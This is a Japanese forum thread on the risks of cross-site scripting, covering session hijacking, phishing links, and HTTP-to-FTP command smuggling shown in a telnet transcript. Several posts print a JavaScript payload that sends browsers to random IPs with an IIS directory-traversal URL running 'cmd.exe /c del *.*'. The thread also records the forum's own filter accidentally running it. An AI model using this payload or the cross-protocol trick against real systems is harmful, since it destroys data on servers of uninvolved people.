ところがどっこい。telnetを使ってftpなどに接続してみれば分かりますが、
$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220 ProFTPD 1.2.1 Server (ProFTPD) [hoge]
GET / HTTP/1.0
500 GET not understood.
Host: fdsjkl
500 HOST: not understood.
Content-Length: 100
500 CONTENT-LENGTH: not understood.
USER hoge
331 Password required for hoge.
pass HOGE
530 Login incorrect.
XSSで引き起こされる被害 (スコア:1, すばらしい洞察)
という2種類ですよね。
前者に付いては、要は「Cookieを盗まれても大丈夫」な仕組みにしておけば問題ない。
たとえば、セッションキーをCookieで保持するようにしているのであれば、そのセッションキーを生成する時にクライアントのIPアドレスを含むデータをMD5して作るとかすれば、他のIPアドレスからのセッションハイジャックは検出できる。
Re:XSSで引き起こされる被害 (スコア:1)
>* ブラウザのセキュリティホールを突いてクライアントにいらん事される
>(ファイルを読み出されたり消されたり実行ファイルを突っ込まれたり)
これはあくまでXSSで引き起こされる被害の一部です。
ブラウザで可能なことであればほとんど出来ると思います。
例えば、クロスサイトスクリプトの問題がある掲示板に以下のようなコー
ドを含んだ発言を書き込めば、この掲示板を開いたブラウザは勝手に任
意のサーバーに攻撃を仕掛けることが可能になります。
<script>
ip = Math.round(Math.random()*253+1)+"." + Math.round(Math.random()*255) + "." + Mathround(Math.eandom()*255) + ".Math.round(Math.random()*253+1);
window.open("http://"+ip+"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+*.*");
</script>
この手の例で有名なのはfushianaさんトラップがありますよね?まあ
ちょっと考えればこれを利用してワームを作ることも可能でしょう。
ちなみに、クリックすることで起動可能にするのであれば、FTPやSMTP
などについても攻撃可能にすることは可能だと思われます。TEXTエリア
に必要なコマンドを埋め込み、http://hoge.com:21/にPOSTで送信す
れば。。。
では、掲示板タイプでないものであれば安全か?と言うとそういうこと
もないと思います。インパクトがあるのは書き換えですよね。そのほか
にも踏み台として利用したりてことが考えられます。
ところで、ECサイト等のクロスサイトスクリプトには怪しいページか
らのリンクでなければ問題ないと言うのがありますが、なにも怪しいペ
ージからのリンクでなくてもメールを利用してしまえば簡単に悪意ある
コードを実行させることが可能だと思います。
例えば、「プレゼントセール実施中」等というメールにコードを含んだ
リンクを埋め込んでおけばたいていの人は引っかかるのではないでしょ
うか?
XSSを使えば自分の手を汚さないで結構悪いことが出来るので危険だと
思うのですが世間一般の認識はなんか低いですよねぇ?
Re:XSSで引き起こされる被害 (スコア:1)
サンプルコードはこうなります。
<script>
ip = Math.round(Math.random()*253+1)+"." + Math.round(Math.random()*255) + "." + Mathround(Math.eandom()*255) + ".Math.round(Math.random()*253+1); window.open("http://"+ip+"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+*.*");
</script>
Re:XSSで引き起こされる被害 (スコア:1)
<script>....</script>
が書き込めてしまったようですね。HTMLソースを参照。
どうしてだろう?<script>は削除されるようになっているはずなのに。
バグのようですが、再現方法がわからない。
今 #96960にアクセスすると、スクリプトエラーが出るよ。
エラーでよかった。本当にヤバいコードだから、動いていたら大変なところだった。
Re:XSSで引き起こされる被害 (スコア:1)
ページが途切れる問題が発生したのを緊急回避するためです。
Re:XSSで引き起こされる被害 (スコア:1)
#97122は、以下のように書いたのでした。(今回は全角文字にて回避)
========
「コードが消えてしまった」のではなく、そのまま
<script>...</script>
が書き込めてしまったようですね。HTMLソースを参照。
どうしてだろう?<script>は削除されるようになっているはずなのに。
バグのようですが、再現方法がわからない。
今 #96960にアクセスすると、スクリプトエラーが出るよ。
エラーでよかった。本当にヤバいコードだから、動いていたら大変なところだった。
========
しかも、二つ目の<script>に対応する</script>が無いために、ページがそこで途切れてしまう状態にもなってしまった。
上の「←ここには</script>を埋め込んでいます。」というのはその対策です。(意味がわからない方は、HTMLソースを見てください。)
バグ報告せねば…(汗
Re:XSSで引き起こされる被害 (スコア:1)
Re:XSSで引き起こされる被害 (スコア:1)
なぁんか出てないなぁと思い、ソースは見たんですが、実行されてなかったので(調べてみたら、JAVAscript実行できないようにしていたんで当然なんですが)気にもしなかったんです。
さて、このような問題があってもXSSは大した問題じゃないという人はいるんでしょうか?まあ、JAVAScriptを実行しないようにしていれば問題ないんですけどね。
ごめんなさい(オフトピ) (スコア:1)
別に、皆さんを陥れようと思ってやったわけじゃないんです。
出きれば、#96960のスクリプト削除してもらえないですか?湖面と丸ごとでもいいです。お願いします。
Re:XSSで引き起こされる被害 (スコア:1)
Re:XSSで引き起こされる被害 (スコア:1)
実体参照に変更しました.
#jbeef さんが書かれているとおり,コードレベルではすでに
#修正をしております.
ご迷惑をおかけして申し訳ありませんでした.
Re:XSSで引き起こされる被害 (スコア:1)
具体的には、POST / HTTP/1.1以下のHTTPヘッダが最初につきますし。
そのようなものを、たとえばftp鯖がすんなり受け入れるとは思えないのですが
Re:XSSで引き起こされる被害 (スコア:2, 参考になる)
$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220 ProFTPD 1.2.1 Server (ProFTPD) [hoge]
GET / HTTP/1.0
500 GET not understood.
Host: fdsjkl
500 HOST: not understood.
Content-Length: 100
500 CONTENT-LENGTH: not understood.
USER hoge
331 Password required for hoge.
pass HOGE
530 Login incorrect.
とまぁ、間違ったコマンドは無視してしまうわけです。これをうまく使えば
必要なコマンドを発行できるわけですね。これを多分securityfocusのメーリングリストだったと思いますが見たときはちょっと驚いてしまいました。
Re:XSSで引き起こされる被害 (スコア:1)
と書きましたが、ここにこの件についての記述があります。 [securiteam.com]